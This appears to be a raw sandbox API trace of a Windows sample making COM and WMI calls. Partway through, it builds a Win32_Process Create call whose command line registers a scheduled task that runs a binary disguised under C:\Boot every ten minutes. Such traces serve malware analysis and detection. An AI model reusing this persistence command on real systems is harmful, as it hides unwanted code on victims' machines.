[0061.390] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8b8 | out: ppv=0x1b2fd8b8*=0x111f638) returned 0x0 [0061.390] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8a8 | out: pAptType=0x1b2fd8a8*=1) returned 0x0 [0061.390] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8b0 | out: ppvObject=0x1b2fd8b0*=0x0) returned 0x80004002 [0061.390] IUnknown:Release (This=0x111f638) returned 0x1 [0061.392] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccd0 | out: ppv=0x1b2fccd0*=0x11f7e90) returned 0x0 [0061.392] WbemDefPath:IUnknown:QueryInterface (in: This=0x11f7e90, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x0) returned 0x80004002 [0061.392] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11f7e90, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fccc8 | out: ppvObject=0x1b2fccc8*=0x1bea1f70) returned 0x0 [0061.392] WbemDefPath:IUnknown:Release (This=0x11f7e90) returned 0x0 [0061.392] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1f70, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcad8 | out: ppvObject=0x1b2fcad8*=0x1bea1f70) returned 0x0 [0061.392] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1f70, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb80 | out: ppvObject=0x1b2fcb80*=0x0) returned 0x80004002 [0061.392] WbemDefPath:IUnknown:AddRef (This=0x1bea1f70) returned 0x3 [0061.392] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1f70, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc228 | out: ppvObject=0x1b2fc228*=0x0) returned 0x80004002 [0061.392] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1f70, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1b0 | out: ppvObject=0x1b2fc1b0*=0x0) returned 0x80004002 [0061.392] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1f70, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1a0 | out: ppvObject=0x1b2fc1a0*=0x11f7ed0) returned 0x0 [0061.392] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11f7ed0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1c8 | out: pCid=0x1b2fc1c8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0061.393] WbemDefPath:IUnknown:Release (This=0x11f7ed0) returned 0x3 [0061.393] CoGetContextToken (in: pToken=0x1b2fc250 | out: pToken=0x1b2fc250) returned 0x0 [0061.393] CoGetContextToken (in: pToken=0x1b2fc6d0 | out: pToken=0x1b2fc6d0) returned 0x0 [0061.393] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1f70, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc790 | out: ppvObject=0x1b2fc790*=0x0) returned 0x80004002 [0061.393] WbemDefPath:IUnknown:Release (This=0x1bea1f70) returned 0x2 [0061.393] WbemDefPath:IUnknown:Release (This=0x1bea1f70) returned 0x1 [0061.393] CoGetContextToken (in: pToken=0x1b2fd4f0 | out: pToken=0x1b2fd4f0) returned 0x0 [0061.393] CoGetContextToken (in: pToken=0x1b2fd3f0 | out: pToken=0x1b2fd3f0) returned 0x0 [0061.393] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1f70, riid=0x1b2fd550*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd520 | out: ppvObject=0x1b2fd520*=0x1bea1f70) returned 0x0 [0061.393] WbemDefPath:IUnknown:AddRef (This=0x1bea1f70) returned 0x3 [0061.393] WbemDefPath:IUnknown:Release (This=0x1bea1f70) returned 0x2 [0061.393] WbemDefPath:IWbemPath:SetText (This=0x1bea1f70, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0061.393] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1bb0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0061.393] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1bb0, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xf, pszText=0x0) returned 0x0 [0061.393] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1bb0, lFlags=8, puBuffLength=0x1b2fd958*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd958*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0061.393] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0061.393] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0061.393] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0061.393] IUnknown:Release (This=0x111f638) returned 0x1 [0061.396] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x11f7f10) returned 0x0 [0061.396] WbemDefPath:IUnknown:QueryInterface (in: This=0x11f7f10, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0061.396] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11f7f10, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x119a5e0) returned 0x0 [0061.396] WbemDefPath:IUnknown:Release (This=0x11f7f10) returned 0x0 [0061.396] WbemDefPath:IUnknown:QueryInterface (in: This=0x119a5e0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x119a5e0) returned 0x0 [0061.396] WbemDefPath:IUnknown:QueryInterface (in: This=0x119a5e0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0061.396] WbemDefPath:IUnknown:AddRef (This=0x119a5e0) returned 0x3 [0061.396] WbemDefPath:IUnknown:QueryInterface (in: This=0x119a5e0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0061.397] WbemDefPath:IUnknown:QueryInterface (in: This=0x119a5e0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0061.397] WbemDefPath:IUnknown:QueryInterface (in: This=0x119a5e0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x11f7f50) returned 0x0 [0061.397] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11f7f50, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0061.397] WbemDefPath:IUnknown:Release (This=0x11f7f50) returned 0x3 [0061.397] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0061.397] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0061.397] WbemDefPath:IUnknown:QueryInterface (in: This=0x119a5e0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0061.397] WbemDefPath:IUnknown:Release (This=0x119a5e0) returned 0x2 [0061.397] WbemDefPath:IUnknown:Release (This=0x119a5e0) returned 0x1 [0061.397] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0061.397] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0061.397] WbemDefPath:IUnknown:QueryInterface (in: This=0x119a5e0, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x119a5e0) returned 0x0 [0061.397] WbemDefPath:IUnknown:AddRef (This=0x119a5e0) returned 0x3 [0061.397] WbemDefPath:IUnknown:Release (This=0x119a5e0) returned 0x2 [0061.397] WbemDefPath:IWbemPath:SetText (This=0x119a5e0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0061.397] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1f70, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0061.397] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119a5e0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 0x0 [0061.398] WbemDefPath:IWbemPath:GetText (in: This=0x119a5e0, lFlags=16, puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0061.398] WbemDefPath:IWbemPath:GetText (in: This=0x119a5e0, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="root\\cimv2") returned 0x0 [0061.398] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bea1f70) returned 0x0 [0061.398] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119a5e0, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0061.398] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x119a5e0, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0061.398] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x119a5e0, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="root") returned 0x0 [0061.398] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bea1f70, uIndex=0x0, pszName="root") returned 0x0 [0061.398] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x119a5e0, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0061.398] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x119a5e0, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="cimv2") returned 0x0 [0061.398] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bea1f70, uIndex=0x1, pszName="cimv2") returned 0x0 [0061.398] WbemDefPath:IWbemPath:GetServer (in: This=0x119a5e0, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0061.398] WbemDefPath:IWbemPath:GetServer (in: This=0x119a5e0, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0061.398] WbemDefPath:IWbemPath:GetServer (in: This=0x1bea1f70, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0061.398] WbemDefPath:IWbemPath:GetServer (in: This=0x1bea1f70, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0061.398] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bea1f70, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0xc15) returned 0x0 [0061.398] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1bb0, puCount=0x1b2fd8d0 | out: puCount=0x1b2fd8d0*=0x2) returned 0x0 [0061.398] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1bb0, lFlags=4, puBuffLength=0x1b2fd8c8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8c8*=0xf, pszText=0x0) returned 0x0 [0061.398] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1bb0, lFlags=4, puBuffLength=0x1b2fd8c8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8c8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0061.398] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1bb0, puCount=0x1b2fd8a0 | out: puCount=0x1b2fd8a0*=0x2) returned 0x0 [0061.398] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1bb0, lFlags=4, puBuffLength=0x1b2fd898*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0061.399] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1bb0, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0061.399] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1f70, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0061.399] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1f70, lFlags=4, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x1d, pszText=0x0) returned 0x0 [0061.399] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1f70, lFlags=4, puBuffLength=0x1b2fd958*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0061.399] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1f70, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0061.399] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1f70, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 [0061.399] IWbemServices:GetObject (in: This=0x1bed2a50, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd7b0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd7b0*=0x1bebc530, ppCallResult=0x0) returned 0x0 [0061.401] IWbemClassObject:GetMethod (in: This=0x1bebc530, wszName="Create", lFlags=0, ppInSignature=0x1b2fd9e8, ppOutSignature=0x1b2fd9e0 | out: ppInSignature=0x1b2fd9e8*=0x1bebc8a0, ppOutSignature=0x1b2fd9e0*=0x1bebcc10) returned 0x0 [0061.402] IWbemClassObject:SpawnInstance (in: This=0x1bebc8a0, lFlags=0, ppNewInstance=0x1b2fd9f8 | out: ppNewInstance=0x1b2fd9f8*=0x1beeb730) returned 0x0 [0061.402] IWbemClassObject:Get (in: This=0x1beeb730, wszName="CommandLine", lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a5fd58*=0, plFlavor=0x2a5fd5c*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a5fd58*=8, plFlavor=0x2a5fd5c*=32) returned 0x0 [0061.402] IWbemClassObject:Get (in: This=0x1beeb730, wszName="CommandLine", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a5fd58*=8, plFlavor=0x2a5fd5c*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a5fd58*=8, plFlavor=0x2a5fd5c*=32) returned 0x0 [0061.402] IWbemClassObject:Put (This=0x1beeb730, wszName="CommandLine", lFlags=0, pVal=0x1b2fd970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"bitkinexb\" /sc MINUTE /mo 10 /tr \"'C:\\Boot\\hu-HU\\bitkinex.exe'\" /f", varVal2=0x0), Type=0) returned 0x0 [0061.403] IWbemClassObject:Get (in: This=0x1beeb730, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a5fde8*=0, plFlavor=0x2a5fdec*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a5fde8*=13, plFlavor=0x2a5fdec*=32) returned 0x0 [0061.403] IWbemClassObject:Get (in: This=0x1beeb730, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a5fde8*=13, plFlavor=0x2a5fdec*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a5fde8*=13, plFlavor=0x2a5fdec*=32) returned 0x0 [0061.403] IUnknown:QueryInterface (in: This=0x1bebbe50, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd2e8 | out: ppvObject=0x1b2fd2e8*=0x1bebbe50) returned 0x0 [0061.403] IUnknown:QueryInterface (in: This=0x1bebbe50, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fd390 | out: ppvObject=0x1b2fd390*=0x0) returned 0x80004002 [0061.403] IUnknown:QueryInterface (in: This=0x1bebbe50, riid=0x7fef1d169a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcfb8 | out: ppvObject=0x1b2fcfb8*=0x0) returned 0x80004002 [0061.403] IUnknown:AddRef (This=0x1bebbe50) returned 0x3 [0061.403] IUnknown:QueryInterface (in: This=0x1bebbe50, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fca38 | out: ppvObject=0x1b2fca38*=0x0) returned 0x80004002 [0061.403] IUnknown:QueryInterface (in: This=0x1bebbe50, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc9c0 | out: ppvObject=0x1b2fc9c0*=0x0) returned 0x80004002 [0061.403] IUnknown:QueryInterface (in: This=0x1bebbe50, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9b0 | out: ppvObject=0x1b2fc9b0*=0x1bebbe58) returned 0x0 [0061.403] IMarshal:GetUnmarshalClass (in: This=0x1bebbe58, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc9d8 | out: pCid=0x1b2fc9d8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0061.403] IUnknown:Release (This=0x1bebbe58) returned 0x3 [0061.403] CoGetContextToken (in: pToken=0x1b2fca60 | out: pToken=0x1b2fca60) returned 0x0 [0061.404] CoGetContextToken (in: pToken=0x1b2fcee0 | out: pToken=0x1b2fcee0) returned 0x0 [0061.404] IUnknown:QueryInterface (in: This=0x1bebbe50, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcfa0 | out: ppvObject=0x1b2fcfa0*=0x0) returned 0x80004002 [0061.404] IUnknown:Release (This=0x1bebbe50) returned 0x2 [0061.404] CoGetContextToken (in: pToken=0x1b2fce30 | out: pToken=0x1b2fce30) returned 0x0 [0061.404] CoGetContextToken (in: pToken=0x1b2fcd30 | out: pToken=0x1b2fcd30) returned 0x0 [0061.404] IUnknown:QueryInterface (in: This=0x1bebbe50, riid=0x1b2fce90*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1b2fce60 | out: ppvObject=0x1b2fce60*=0x0) returned 0x80004002 [0061.404] CoGetContextToken (in: pToken=0x1b2fcfc0 | out: pToken=0x1b2fcfc0) returned 0x0 [0061.404] IUnknown:QueryInterface (in: This=0x1bebbe50, riid=0x7fef1d2d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd090 | out: ppvObject=0x1b2fd090*=0x0) returned 0x80004002 [0061.404] CoGetContextToken (in: pToken=0x1b2fd050 | out: pToken=0x1b2fd050) returned 0x0 [0061.404] IUnknown:AddRef (This=0x1bebbe50) returned 0x3 [0061.404] IWbemClassObject:Put (This=0x1beeb730, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd970*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1bebbe50, varVal2=0x0), Type=0) returned 0x0 [0061.404] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1c70, puCount=0x1b2fda10 | out: puCount=0x1b2fda10*=0x2) returned 0x0 [0061.404] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1c70, lFlags=4, puBuffLength=0x1b2fda08*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda08*=0x26, pszText=0x0) returned 0x0 [0061.404] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1c70, lFlags=4, puBuffLength=0x1b2fda08*=0x26, pszText="0000000000000000000000000000000000000" | out: 